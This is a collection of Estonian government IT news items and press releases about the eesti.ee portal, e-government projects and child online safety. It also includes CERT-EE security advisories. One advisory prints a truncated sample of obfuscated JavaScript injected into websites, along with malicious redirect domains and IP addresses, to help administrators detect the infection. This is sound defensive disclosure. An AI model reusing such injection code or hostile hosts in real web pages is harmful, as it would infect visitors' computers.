Vabariigi Valitsuse 20. detsembri 2007. a määrus nr 252 Infosüsteemide turvameetmete süsteem.

Lisainfo.
 

Sel nädalal algab riigiportaali eesti.ee tutvustav ringreis Eesti maakondades. Kontsertprogrammiga ringreis viib eesti.ee esmakordselt linnadesse väljaspool Tallinna ning kutsub inimesi portaaliga tutvust tegema. Riigiportaali tutvustatakse kaheksas linnas, avaüritused on sel reedel Jõhvis ja laupäeval Paides.

Programmi „Infoühiskonna teadlikkuse tõstmine“ programmijuht Agne Kivisaare sõnul on riigiportaal eesti.ee mõeldud kõigile Eesti elanikele, kel vaja riigiga suhelda. „Paraku ei tea paljud inimesed väljaspool pealinna veel riigiportaali võimalustest. Samas, maapiirkonnad ja väiksemad linnad on just kohad, kus portaali kõige rohkem vajatakse.“

Riigiportaali tutvustamiseks toimuvad Eesti linnades üritused, kus lisaks huvitavatele mängudele astuvad üles rahva lemmikud Tanel Padar ja Ivo Linna. Maakondlikule ringreisile antakse avapauk reedel, 8 jaanuaril Jõhvis, viimane üritus toimub 30. jaanuaril Rakveres. Lisainfot ürituste kohta saab kampaania lehelt aadressil www.eesti.ee/kampaania.

Riigiportaali kampaania kutsub inimesi aktiveerima oma @eesti.ee e-posti aadressi, mis on ametlik suhtlusvahend riigi ja elaniku vahel. Agne Kivisaare sõnul on aadressi kasutamine mugav, sest see ei muutu elu jooksul ning sinna saavad kirju saata nii inimese sõbrad kui riik.

Riigiportaali tootejuht Ragnar Rattas soovitab inimestel alustada portaaliga tutvumist oma andmete üle vaatamisega erinevates riigi registrites. „Näiteks, nimede statistika päringuga saab inimene teada, mitu samanimelist inimest Eestis veel elab. Üks lihtsamaid elanikele mõeldud teenuseid on Euroopa ravikindlustuskaardi tellimine, kaardi saab tellida vaid paari hiireklikiga ning nädala jooksul tuleb see postiga tellitud aadressile,“ lisas Rattas.

Riigiportaali teavituskampaania kestab terve jaanuarikuu. Lisaks ringreisile saab riigiportaali tutvustavat klippi näha telekanalites TV3, Kanal2 ning ETV. Riigiportaalil on ka oma kommuun populaarses suhtlusvõrgustikus Facebook, mille kaudu saavad võrgustiku kasutajad eesti.ee uuendustega kursis olla.

Ringreisi ajakava:
8. jaanuar kell 16.00 – Jõhvi (Jewe keskus)
9. jaanuar kell 12.00 – Paide (Maksimarket)
15. jaanuar kell 16.00 – Tartu (Kaubamaja)
16. jaanuar kell 12.00 – Valga (Rimi Hüpermarket)
21. jaanuar kell 16.00 – Pärnu (Port Artur 2)
22. jaanuar kell 12.00 – Kuressaare (Auriga keskus)
28. jaanuar kell 16.00 – Võru (Kagukeskus)
30. jaanuar kell 12.00 – Rakvere (Põhjakeskus)

Teavituskampaania toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Head uut aastat CERT-EE poolt! Uus aasta pole kahjuks väga hästi alanud, sest ei ole saladus, et suuremat sorti veebi kaudu nakatamise laine käib hetkel üle Eesti netimaastiku.

Juba eelmise aasta lõpus täheldasime mõningaid rahutukstegevaid märke, ent praegusel hetkel tundub olukord võtvat juba pandeemia mõõte. Sellega seoses pöördume Eesti IT professionaalide poole palvega suhtuda erilise tähelepanuga kõigesse, mis veebiserveri DocRoot kataloogi jõuab. On see siis seotud sellega, mida arendate ja uploadite klientide arvutitesse või sadade klientide virtuaalkodude majutamisega.

Päevakangelast iseloomustab (NB! nimistu ei ole ammendav):
1. HTML lehele või sagedamini JS failidele obfuskeeritud javaskripti lisamine, lisatud osa algab stringiga "/*GNU GPL*/", näide lisatud
2. obfuskeeritud skript harutab ennast lahti veebiaadressiks, kuhu lehe külastaja "põhidoosi" saama suunatakse, aadressi iseloomustab:
- ebatavaliselt suur tähemärkide arv
- üldtuntud domeeninimede sisaldumine (et kehvast filtrist läbi saada)
- .ru TLD kasutamine
näide: deviantclip-com.altervista.org.bbc-co-uk.theaworld.ru
3. HTTP päring suunatakse pordile 8080
4. meieni jõudnud nimed lahenduvad reeglina IPdeks: 91.121.142.111, 94.23.14.110, 94.23.206.229, 85.25.73.243, 91.121.49.129
5. põhiviiruse allalaadija on piisavalt heasti kirjutatud, et välistada automatiseeritud analüüsi üldtuntud vahenditega, AVd klassifitseerivad kasutaja arvutisse paigaldatud binaarifaili reeglina Bredolabi troojalaseks.

Eesti IT maastikul tegutsejatelt palume me kõrgendatud tähelepanu veebide haldamiseks kasutatava FTP/HTTP liikluse montooringul. Võimaluse korral tasuks juba hallatavad-arendatavad veebilehed üle vaadata ning kindlasti tuleks oma halduseks-arenduseks kasutatavad masinad hoida puhtana pahavarast. Võimaluse korral võiks lisada IDSi kontrollitavasse võrgusegmenti.

Tänud kõigile neile, kes kõike seda juba teevad ning tänu neile, kes seda veel ei ole teinud, aga hakkavad tegema.

NB! Asi esineb Eestis paraku juba massiliselt ja ohustab lihtkasutajat! Täiendavat lugemist antud teemal leiab ka siit: http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/

Mittetäielik näide .js failile lisatud obfuskeeritud javaskriptist:

/*GNU GPL*/ try{window.onload = function(){var Ck46ii1kyo =
document.createElement('s&)c#&$r!)((i!!p#$t@'.replace(/\(|@|\)|\$|\!|&|\^|#/ig,
''));var Ndkpsyeqhxen = 'R5hb66d6f7idj';Ck46ii1kyo.setAttribute('type',
't)!)e&x$!^t((/^j^a$v$#a$^&!s(! /.. edasine eemaldatud ../

Teie,
CERT-EE
Tarmo Randel
tarmo-ät-cert.ee
66 30 254

Sel nädalal algas ulatuslik teavituskampaania, mis viib riigiportaali esmakordselt linnadesse väljaspool Tallinna ning kutsub inimesi portaaliga tuvust tegema.

Programmi „Infoühiskonna teadlikkuse tõstmine“ programmijuht Agne Kivisaare sõnul kutsub kampaania inimesi aktiveerima oma @eesti.ee aadressi. „Ametlik aadress on muutumatu, sinna saavad kirju saata nii inimese sõbrad kui riik. Me ei oota eesti.ee-sse ainult 30-aastast kõrgharidusega tallinnlast, vaid inimesi väljaspoolt pealinna, kes reaalselt sellist keskkonda vajavad. Portaalist leiab väga palju kasulikku infot tervishoiust tarbijakaitseni ja sotsiaaltoetustest digilevile üleminekuni.“

Riigiportaali valdkonnajuht Eerik Hanni sõnul muutub portaal lähitulevikus oluliselt: „Hetkel käib analüüs, et muuta portaali kasutamine inimestele võimalikult lihtsaks ja loogiliseks. Kindlasti paranevad teabe ja teenuste leitavus, samuti muutub portaali ülesehitus lihtsamaks.“

Riigiportaali tootejuht Ragnar Rattase sõnul on lisaks elanikele mõeldud teenustele palju erinevaid teenuseid ka partneritele. „Oleme teinud palju nö ehitusklotse, mida teised riigiasutused enda tarbeks kasutada saavad. See tähendab, et nad ei pea uuesti sama teenust tegema, mis portaalis juba olemas. Näiteks saab kasutada e-vorme, autentimisteenust või kodanike teavitamist portaali kaudu.“

Üks lihtsamaid teenuseid on Euroopa ravikindlustuskaardi tellimine, kaardi saab tellida vaid paari hiireklikiga ning nädala jooksul tuleb see postiga tellitud aadressile. Samuti on tore teenus Tartu linna sooja toidu pakkumine – liikumispuudega inimesed saavad endale portaali kaudu sooja toitu koju tellida, valides supi, prae, magustoidu või kõik kolm.

Riigiportaali teavituskampaania kestab terve jaanuarikuu. Lisaks ringreisile kaheksas Eesti linnas saab riigiportaali tutvustavat klippi näha telekanelites TV3, Kanal2 ning ETV. Teavitusele aitab kaasa erinevate sotsiaalvõrgustike kasutamine – näiteks on riigiportaalil oma kommuun populaarses võrgustikus Facebook. Selle kaudu saavad kõik võrgustiku kasutajad eesti.ee uuendustega kursis olla. Samuti näeb kõiki materjale riigiportaalis aadressil www.eesti.ee/kampaania.

Teavituskampaania toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Teisipäeval, 29. detsembril kell 11.30 toimub Riigi Infosüsteemide Arenduskeskuses (Rävala 5, viies korrus) pressikonverents, kus tutvustame algavat riigiportaali teavituskampaaniat ning lähitulevikus portaali ees ootavaid muutusi.

Järgnevatel kuudel muutuvad riigiportaali eesti.ee välimus ja kasutusloogika. Portaali uuenemisest räägib riigiportaali valdkonnajuht Eerik Hanni. Värskeid teenuseid kodanikele ja asutustele tutvustab portaali tootejuht Ragnar Rattas.

Pressikonverentsil tutvustame eesti.ee uut logo ja ulatuslikku teavituskampaaniat, mis viib riigiportaali eesti.ee linnadesse väljaspool Harjumaad. Teavituskampaaniast räägib Agne Kivisaar, programmi „Infoühiskonna teadlikkuse tõstmine“ programmijuht.

Oma osalemisest andke palun teada press@ria.ee või 56 623 823.

Mahasadanud lumi ja termomeetrite teist miinuskümmet ründav talveilm on hinge toonud rahuliku jõuluootuse. Paraku on mitmed tormised uudised häirimas meie jõulurahu. Alustame neist olulisemast.

Enamik meist kasutab PDF-dokumentide lugemiseks Adobe Acrobat Reader'it. Äsja jõudis laiema ülduseni teave selle rakenduse järjekordsest veast, mida küberkurjategijad kasutavad oma botnet'idele uute liikemete „värbamisel“. Kuna see turva-auk on seotud JavaScripti toega PDF'des, on viiruste ennetamiseks tõhus meede JavaScript Adobe Readeris üldse välja lülitada. Selleks tuleb Acrobat Readeri seadistuste lehel eemaldada linnuke valiku „Enable Acrobat JavaScript“ eest (seadistuste lehele jõuab Edit -> Preferences -> JavaScript).

Vihje pahadokumendile võib anda see, et avatud dokument sisaldab täiesti suvalist teksti või puudub sisu sootuks. Kui juhtumisi sai siiski nakkust edasiandev PDF avatud, siis tasub järgida tavapärast tõrjerutiini: käia arvuti üle erinevate viirustõrjujatega, võimalusel kasutada IT-professionaalide abi.

Üks pahalane, kes turva-auku kasutades arvutisse ronida võib, on meie eelnevates teadetes peaesinejaks olnud Zeus – rahamaias pahavara(s). Viimasel ajal on seda botnet'i kasutatud krediitkaardi andmete väljapetmiseks. Selleks saadavad nakatunud arvutid välja massiliselt e-kirju, milles palutakse kliendil tühistada krediitkaarditehingud. Selleks on vaja kõigest klikkida linki kirjas, millelt avaneb – üllatus-üllatus – veebileht, kus palutakse sisestada enda krediitkaardi andmed. Ilmselgelt on peale liba-veebilehele andmete sisestamist vaja kaardiomanikul suhelda tõelise pangaga, tõeliste tehingute tühistamiseks.

Rubriigist „uudiseid laiast maailmast“ leiame järjekordse tõestuse inimeste leidlikkusest – nimelt on pahavara levitamisel kasutusele võetud suisa personaalne lähenemine. Ettevõtlikud küberpahalased
helistavad võimalikule ohvrile ja esitlevad endid interneti teenusepakkuja tehnilise toe töötajana. Pahaaimamatu kasutaja juhatatakse veebilehele ning palutakse arvutisse paigaldada seal viidatud
tarkvara ...

Pahavara on läbivaks teemaks valitud põhjusega – infoturbega tegelevate organisatsioonide statistika põhjal on botnet'ide arv selle aasta jooksul jämedalt võttes kahekordistunud. Selle info valguses tasub loota, et kõik Jõuluvana kingikotti jõudnud arvutid on varustet pahalaste tõrjumise vahenditega.

Turvalisi jõule ja säravat aastavahetust,
Sinu CERT Eesti

CERT Eesti tegeleb Eestis toimuvate turvaintsidentide ennetamise, tuvastamise, jälgimise, lahendamise ja ohtudest teavitamisega.

Lühikese ajaga on e-riigis toimunud tähendusrikkad muutused, mis lubab märkimisväärseid ettevõtmisi ka m-riigis. Mobiiltehnoloogia ja selle levik on teinud hüppelise kasvu ja leidnud koha igas eluvaldkonnas. Mobiiliomanikul on kohast ja ajast olenemata vajalik info alati taskus. Ka organisatsioonid ja valitsused saavad kaasata kodanikke ja integreerida ühiskonda mobiiliteenuste kaudu.

Käesolev küsimustik on avaliku sektori IKT- ja mobiiliteenuste kohta. Uuringu tulemusena näeme praktilist väärtust riigile, sest tulemused annavad ülevaate asutuste m-teenuste alaste vajaduste ja huvide kohta ning aitavad leida asutusi, kelle vajadus ja huvi m-teenuset vastu on kõige suurem. Uuringu tulemused avalikustatakse, kui uuring on läbi viidud ja andmed analüüsitud.

M-teenuste arendamiseks sai Mobi Solutions EASilt tootearenduseks toetuse. Ka Riigi Infosüsteemide Arenduskeskus on huvitatud m-teenuste arendamisest riigis. Seega otsustasime küsimustiku koos koostada, et sama asja mitte korduvalt küsida.

Antud küsimustikus on Teil võimalus kaasa rääkida tulevikuteenustes ja muuta mobiililahenduste kaudu riigitööd tõhusamaks. Ankeedis on 19 küsimust, nii valikvastustega kui vabateksti kujul. Esimesed 17 küsimust käivad mobiiliteenuste kohta, soovi korral saate lisada oma nime ja ametinimetuse. Teie andmed on meile olulised ja aitavad välja selgitada Teie asutuse personaalsed huvid m-teenuste osas.Loodame, et küsitlus pakub teile huvi!

Küsimustele vastamiseks klikkige siia.

Osavõtu eest ette tänades,
RIA ja Mobi Solutions

Homme, 8. detsembril toimub Viru Konverentsikeskuses infopäev „24h avatud riik – teabe avalikustamine internetis“. Päeva eesmärk on juhtida tähelepanu riigiasutuste võimalustele ning kohustustele teabe avalikustamisel.

RIA asedirektor Kalle Arula sõnul muutub teabe avalikustamine interneti-ajastul järjest olulisemaks. „Asutused koguvad inimeste kohta järjest rohkem teavet ning iga Eesti elanik peab teada saama, millist infot riik tema kohta kogub. Nagu eelmise nädala pensioniosakute andmelekke intsident näitas, on teabe avalikustamisel ka teine külg – kohustus seda turvaliselt hoida. Infopäeval arutleme, kuidas mõlemat kohustust võimalikult hästi täita.“

„Välisriikide avaliku teabe järelevalveasutustega suheldes võime öelda, et meie avaliku teabe seadus on üks eesrindlikumaid maailmas. Küll aga lonkab seaduse täitmine. Asutuste rakenduspraktika on ebaühtlane. Eesti avaliku sektori võrguteave on kirjum kui mõnel suurriigil,“ selgitab AKI peadirektor Viljar Peep.

Infopäeval räägitakse asutuste võrgulehtede rollist info jagamisel ning nõuetest dokumendiregistritele. Samuti antakse nõuandeid võrgulehtede loomisel ja antakse ülevaade kohalike omavalitsuste teenusportaalist ja riigi teabeväravast eesti.ee.

Päeva juhib Ülle Madise, Tallinna Tehnikaülikooli avaliku õiguse professor. Korraldab Euroopa Liidu struktuurifondide programm „Infoühiskonna teadlikkuse tõstmine“ koostöös Andmekaitseinspektsiooni, Riigi Infosüsteemide Arenduskeskuse ning Siseministeeriumiga. Infopäeva aitab läbi viia Tallinna Arvutikool OÜ.

Päevakava.

Lisainfo:
Katrin Pärgmäe
Riigi Infosüsteemide Arenduskeskus
Kommunikatsioonijuht
+3726630233
+37256623823

Elsa Neeme
Andmekaitse Inspektsioon
avalike suhete nõunik
tel 6 27 41 43
GSM 53 315 798

26. – 27. novembril Sagadi mõisas toimunud esimesed kõrgemad infoühiskonna kursused olid erakordselt populaarsed - täidetud olid kõik kohad, osalejaid oli erafirmade seast, riigi- ja kolmandast sektorist. Kursuste eesmärk oli infoühiskonna olemuse ning võimaluste tutvustamine ning ühise keele leidmine IT-inimeste ning tippjuhtide vahel.

Kahe päeva jooksul analüüsiti infoühiskonda tänases Eestis ja otsiti teid paremaks koostööks ning e-riigi arendamiseks. Kursuste raames toimus e-riigi teater, mis näitas osalistele e-teenuse loomisega seotud väljakutseid ja probleeme.

Kokkuvõtteks leiti, et infoühiskonna arendamisel on olulised koostöö ja kommunikatsioon, mitte tehnoloogia, nagu arvata võiks.

Kursuste lühikokkvõtet näeb siit.

26. ja 27. novembril toimuvad Sagadi mõisas esimesed kõrgemad infoühiskonna kursused, mille eesmärk on tutvustada infoühiskonna võimalusi. Kursustest võtab osa ligi 50 avaliku- ja erasektori juhti, teadlast ning valdkonnaeksperti.

"Infoühiskond on igapäevase elu osa ning selle eesmärk pole üksnes paberi viimine elektroonilisele kujule. Tehnoloogia mõtestatud kasutamine ja uute koostöömudelite otsimine avaliku, era- ja kolmanda sektori vahel aitab luua uusi ja innovatiivseid teenuseid," sõnas Majandus- ja Kommunikatsiooniministeeriumi kantsler Marika Priske.

Kursustel võetakse teemaks infoühiskonna areng Eestis ning võrdlus muu maailmaga, avalike teenuste kaasajastamine IT abil ning infoturve. Arutluse all on ka tehnoloogia mõju ühiskonnale üldisemalt.

Teooria täiendamiseks praktikaga luuakse kohapeal väike näitlikustav e-teenus. „Tahame näidata, kuidas e-teenus sünnib ja mis on selleks vajalik. E-teenuste tegemine ei pea alati olema kallis, keeruline ja aeganõudev. Vahel on kasulikud ja geniaalsed asjad lihtsad ja kerged luua“, kommenteerib Riigi Infosüsteemide Arenduskeskuse direktori asetäitja Kalle Arula.

Kõrgematel infoühiskonna kursustel esinevad teiste seas IT-visionäär Linnar Viik, Tartu Ülikooli meediauuringute teadur Pille Pruulmann-Vengerfeldt, e-Riigi Akadeemia asutaja Ivar Tallo (e-Riigi Akadeemia) ning kommunikatsiooniekspert Raul Rebane.

Päeva juht on Hannes Astok. Kursused avab Majandus- ja Kommunikatsiooniministeeriumi kantsler Marika Priske.

Infoühiskonna kursuseid on kavas edaspidi läbi viia kord aastas. Kursus toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Korraldavad:
Majandus- ja Kommunikatsiooniministeerium, Riigi Infosüsteemide Arenduskeskus
koostöös BCSi ja Pärnu Konverentsidega.

Lisainfo:
Rica Semjonova
SF programm „Infoühiskonna teadlikkuse tõstmine“
projektijuht
+372 6 630 295
+372 5 227 674
http://www.ria.ee/itt

Eesti üleminek paberivabale asjaajamisele pälvis Euroopa e-valitsemise parima praktika projekti tiitli.

Euroopa Komisjon korraldas 19.-20. novembril toimuva viienda e-valitsuse ministrite nõupidamise ja konverentsi raames konkursi Euroopa Liidu e-valitsuse strateegia elluviimist enim toetavate projektide väljaselgitamiseks. Parima praktika tiitliga pärjati Riigikantselei esitatud paberivaba dokumendivahetuse projekt.

Paberivaba dokumendivahetuse projekti algatasid Riigikantselei ja Riigi Infosüsteemide Arenduskeskus (RIA) 2005. aastal, et tagada avaliku sektori üleminek paberivabale asjaajamisele. Projekti tehnoloogilise toena lõi RIA 2006. aastal dokumentide elektroonilise vahetamise infosüsteemi – dokumendivahetuskeskuse.

2007. aasta sügisel tegi Vabariigi Valitsus kõigile valitsusasutustele ülesandeks minna Riigikantselei juhtimisel üle paberivabale asjaajamisele. Tänaseks on elektroonilise dokumendivahetusega ühinenud juba ligikaudu 500 asutust, sealhulgas kõik ministeeriumid, maavalitsused ja pea kõik ametid ning inspektsioonid.

Kui Euroopas puutub uuringute andmetel küberkiusamisega kokku pea iga kümnes 6-8-aastane laps, siis Eestis esineb küberkiusamist kordades rohkem ning üha sagedamini just nooremas eagrupis.

RIA infoturbe eksperdi Anto Veldre sõnul nõuab küberkiusamise vähendamine senisest tihedamat koostööd kodu ja kooli vahel. „Täna oleme olukorras, kus enamus 6–17-aastastest lastest kasutab Eestis internetti. Paraku ei oska lapsed end ohtude eest kaitsta ega mõista, et internetis öeldu ja tehtu teeb samamoodi haiget nagu sõnad ja teod päriselus. Oluline on mõista, et internet on loomulik osa tänapäeva lapse elust. See annab talle võimaluse õppida ja sõpradega suhelda, internetis käitumist tuleb lihtsalt lapsele õpetada,“ räägib Veldre.

„Et küberkiusamine muutub üha tõsisemaks probleemiks, tegeletakse lahenduste leidmisega kõikjal. Näiteks on Inglismaal arendamisel mäng, mis jäljendab erinevaid küberkiusamise juhtumeid ning õpetab lastele, kuidas stressi, pinge ja hirmuga toime tulla, samuti empaatia tähtsust ja teistega arvestamist. Lapsed võtavad mängus kiusamise ohvri nähtamatu sõbra rolli ja püüavad ohvrit aidata täpselt nii hästi ja loovalt, kui nad suudavad,“ tutvustas Veldre mängu.

„Esialgsed tulemused on Warwick'i Ülikooli andmetel positiivsed. Laste emotsionaalne intelligentsus areneb tänu ohvri lohutamisele. Nad saavad paremini aru, milleni kiuslik käitumine internetis võib tegelikult viia.“ märkis ta ja lisas, et ka Eestis võiks sarnase mängu lasteaedade ja algklasside lastele kättesaadavaks teha.

Carnegie Mellon Ülikooli loodud inglisekeelses mängus Carnegie Cadets saavad lapsed õppida, kuidas internetis turvaliselt liigelda.

Paljud küberkiusamise juhtumid saavad võimalikuks halvasti hoitud salasõnadest. Veldre sõnul on üsna tavaline, et sõbrannad avaldavad teineteisele oma paroolid, mis hiljem kurja kasutust leiavad. „Esimene õppetund puudutabki salasõnu ja see tuleks läbida juba kodus. Salasõnu ei tohi avaldada mitte kellelegi, mistõttu pole ka lapsevanemal kohane neid oma võsukestelt välja nõuda. Lisaks peab salasõnu teatud aja vältel vahetama. Oluline on ka see, et eri keskkondade salasõnad ei korduks,“ rääkis Veldre netikiusamise vältimise võimalustest.

Teine ja toetav suund küberkiusamise vähendamiseks on heade internetitavade järjepidev käsitlemine kodus, lasteaias ning koolis. Lapsevanemad ja huvilised saavad rohkem infot veebilehelt www.netiohud.ee

Info Suurbritaanias loodud mängu kohta.

Novembris viib RIA läbi teavitust, mis kutsub lapsevanemaid huvituma lapse tegemistest internetis. Teavitus toimub EL struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ja seda rahastab Euroopa Regionaalarengu Fond.

Sel suvel kuulutas RIA välja taotlusvooru, kuhu sai esitada projekte infoühiskonna arendamiseks. Saabunud 93 eeltaotlusest on heakskiidu saanud esimesed 31 projekti, mida toetatakse struktuurifondidest 139 miljoni krooni eest.

Komisjon oli käesoleva nädala alguseks jõudnud läbi vaadata 38 projekti, heaks kiideti neist 31 projektitaotlust. Rohelise tule saanud projektide seas on rahvusringhäälingu ühtse veebikeskkonna loomine, riigi kinnisvararegistri arendamine, Eesti vanima dokumentaalse kultuuripärandi digiteerimine, Tallinna vanalinna 3D mudeli loomine ning palju muud.

Selle aasta suvel alustas RIA taotluste vastuvõtmist infoühiskonna arendamiseks. Kuue nädalaga laekus 93 projektitaotlust 350 miljoni krooni eest. Taotlused vaadatakse läbi nende saabumise järjekorras. Kokku on struktuurifondide eelarves nende projektide toetamiseks 250 miljonit krooni.

Eeltaotluse rahuldamise otsus tagab projekti ellu viimiseks taotletud summa broneerimise. Toetuse taotlejal on nüüd 24 kuud projekti ellu viimiseks.

Alates 2007. aastast on infoühiskonna arendamise projekte struktuurifondidest toetatud rohkem kui poole miljardi krooniga.

Toetusi saab kasutada info- ja kommunikatsioonitehnoloogia abil riigivalitsemise tõhustamiseks; kodanikele, ettevõtetele ja avaliku sektori asutustele avalike teenuste paremaks osutamiseks ning tehniliste ligipääsuvõimaluste ja osalusvõimaluste suurendamiseks.
 

Selle nädala alguses sai CERT vihje Eesti netiavarustes aktiivselt ringiroomavast MSNi "ussist". Pahavara teeb raskesti leitavaks see, et viiruse levitamiseks kasutatav veebilink torgatakse MSNi tavavestluse sekka.

"Inimesed on juba piisavalt teadlikud, et mitte klikkida linke, mis tulevad ingliskeelse sõnumiga "Hey, look at my pictures ...". Emakeelse välksõnumivahetuse sekka pakutav link tundub klikkimiseks oluliselt ohutum," selgitab CERT Eesti infoturbe ekspert Tarmo Randel.

Linki klikkinud said suure tõenäosesega enda arvutisse pahalase, mis korjab paroole, krediitkaardiandmeid ja muud personaalset infot, mida "mustal turul" saaks rahaks teha. Samuti saab kurikael nakatatunud arvutit kasutada "hüppelauana", mille kaudu kuritegusid sooritada.

Kuna turvaprogrammid jäävad selle pahavara tuvastamisega veel jänni, siis peaks lingile klikkinud inimene pöörduma tuttava "patsiga poisi" või IT professionaali poole ning paluma arvuti üle kontrollida. Oskuste ja tahtmise korral võib ta seda loomulikult teha ka ise. Juhised, mis on kõlbulikud järgimiseks nii proffidele kui ka asjaarmastajatele, leiab aadressilt: http://www.ria.ee/turvamelu.

CERT Eesti (Computer Emeregency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

Dokumendivahetuskeskus (DVK) jõudis konkursil European eGovernment Awards Good Practice 2009 parimate projektide hulka. Kategoorias "E-riik efektiivsuse toetajana" oli DVK ainus Eesti projekt, millele anti hea tava märk.

Parimaid praktikaid valitakse neljandat korda, Eestist märgiti ära kokku neli projekti. Lisaks DVK'le sai hea tava märgi osalusveeb Osale.ee. Konkursi finaali said piiriülene digitaalallkiri ja e-kinnistusraamat.

Nimekirja hea tava märgi saanutest ja finalistidest saab vaadata siit.

26. oktoobril alustab RIA teavitust lapsevanematele, kutsudes emasid ja isasid huvituma lapse tegemistest Internetis ning rääkima lapsega turvalisest veebikasutusest.

Uuringud osutavad, et Lääne-Euroopaga võrreldes on meie lapsevanemad oma laste virtuaaltegemiste suhtes oluliselt ükskõiksemad. Suur hulk Eesti lapsi internetis üksi ja neil puuduvad oskused ohtusid ära tunda.

"Lapsed alustavad internetiga 1.-3. klassis, vahel varemgi. Kogu senine tarkus internetiohutusest on aga suunatud pigem teismelistele. Nii võibki juhtuda, et lapsed ei pruugi inteneti ohuolukordadega tõhusalt hakkama saada. Esineb küberkiusamist ja kommionusid, ehk alles Jõuluvanale kirjutav laps võib silmitsi sattuda identiteedipettustega," selgitab CERT infoturbe ekspert Anto Veldre. "Huvitaval kombel ei alga arvutiõpe praegu koolist, vaid saab alguse hoopis kodust ja lapsevanemast, sõpradest ja tuttavatest. Emad-isad, olge oma lastele toeks mitte ainult päriselus, vaid ka virtuaalmaailmas!"

Uuringute järgi eksivad lapsed internetis kõige sagedamini reegli vastu, mis keelab avaldada isiklikku infot. Heauskselt levitavad nad oma telefoninumbrit ja kodust aadressi ning räägivad, kus koolis ja klassis õpivad. Samuti kasutatakse suhtlemisel pärisnimesid. Kõige selle tõttu on võõrastel väga lihtne lapse isikut tuvastada.

Veldre sõnul on netikeskkond kujunemas omaette laste maailmaks, kust vanemad ja õpetajad puuduvad. Ta sõnas, et laps ei oska kiusajaga ise toime tulla, kuid ei lähe ka abi küsima, sest ta arvab interneti-asju teadvat isast-emast paremini. Tegelikult on aga keerulise olukorra lahendamiseks vaja pigem elukogemust, mitte arvutikasutusoskust.

„Internet ei ole kõige kurja juur ning seda ei pea suukorvistama. Internetis leidub tohutult arengut soosivaid materjale, internet avardab maailmapilti ning pakub suhtlusvõimalusi. Samas, et ei juhtuks õnnetust, suutku laps iseseisvalt ohtusid ära tunda ning õigeid otsusi langetada. On parem, kui sissejuhatuse virtuaalmaailma annab lapsevanem, mitte õu,“ selgitas Veldre.

Lisaks telereklaamile avatakse teavituse raames netileht www.netiohud.ee, kust lapsevanemad leiavad näpunäiteid teema käsitlemiseks lapsega. Lehel saab esitada küsimusi Lasteabi spetsialistidele ning kuulata-vaadata teiste lapsevanemate kogemusi.
Teavituskampaaniat toetab Eesti Draamateatri näitleja Kersti Heinloo. Alates 26. oktoobrist peab ta Twitteris päevikut, kus kirjutab enda kogemustest koos lapsega interneti avastamisel. Kersti Heinloo sissekanded leiab aadressilt http://twitter.com/kerstiheinloo.

Teavitus toimub Euroopa liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ja seda rahastab Euroopa Regionaalarengu Fond.

Kampaaniat toetavad Elion, Elisa, EMT, Euronics, IM Arvutid, Klick.ee, Kristiine keskus, OnOff, Starman, STV, Tele2, Televõrgu AS ja Tip Tip Tap Mänguväljakud. Koostööd tehakse ka Perekooli ja Pereklubi foorumitega ning Delfi Naistelehega.

21. oktoober. Kell 14.00. Kristiine keskuse aatrium. Ootame Sind!

Laste turvalisus internetis saab alguse emadest-isadest. Samuti eeldavad head netikombed hulgaliselt kodutööd. Vanemad leiavad aga sageli, et arvutiteemadel on lapsed neist targemadki. Selle tõttu jäävad paljudel lastel saamata vajalikud nõuanded, kuidas internetis ohtusid ära tunda ja neile reageerida.

RIA korraldab sel sügisel kuuajase üleriigilise teavituskampaania, millega julgustame vanemaid oma laste internetikäikudest osa saama.

Kutsume Sind 21. oktoobril kell 14.00 Kristiine keskuse aatriumis kampaaniale avalööki andma! Ühtlasi avame üritusel installatsiooni, mis kujutab internetti lapse pilgu läbi vaadatuna.

Lapsevanemateni aitavad sõnumit viia CERT infoturbe ekspert Anto Veldre, RIA kommunikatsioonijuht Katrin Pärgmäe ja Tallinna Perekeskuse psühholoog Anni Vaher, kes nõustab teiste seas ka netikiusamise ohvriks langenud lapsi.

Loodame väga, et saad üritusel osaleda. Oma osalemisest palume teada anda e-kirja teel aadressil press@ria.ee või 66 30 233. Samal viisil saad küsida ka lisainfot.

Kampaania toimub Euroopa liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ja seda rahastab Euroopa Regionaalarengu Fond.

Peatse kohtumiseni!
 

Homme, 20. oktoobril toimub Viru Konverentsikeskuses dokumendihaldusega tegelevatele inimestele infopäev.

Päeva jooksul käsitletakse dokumendihalduse üldisi arenguid, olemasolevate lahenduse mugavamaks muutmist ning uusi arenguid digipaberimajanduses. Esinevad valdkonna eksperdid Riigikantseleist, Riigi Infosüsteemide Arenduskeskusest, Rahvusarhiivist ning Rahandusministeeriumist.

Üritus toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Regionaalarengu Fond.

Registreerumine üritusele on lõppenud. Päevakava ja lisainfo.

Jaotusmaterjalid

Linuxi ja Maci omanikud saavad uue ID-kaardi tarkvara avaliku testversiooniga veebilehtedele sisse logida, dokumente allkirjastada ja ID-kaardi PIN-koode muuta.

RIA asedirektor Kalle Arula sõnul lubab uus tarkvara lisaks Windowsile ka Maci ja Linuxiga ID-kaardi võimalusi kasutada. „Kuigi tarkvara sai äsja valmis ja mõned veebilehed alles seadistavad ennast uue lahendusega töötama, saab uue tarkvaraga oma arvutis digiallkirju vaadata ja anda, ID-kaarti hallata ning end veebis autentida. Veebilehtedel allkirja andmise võimalus tekib järk-järgult – selleks peavad süsteemide omanikud, näiteks suuremad pangad, oma tarkvara veel seadistama.“

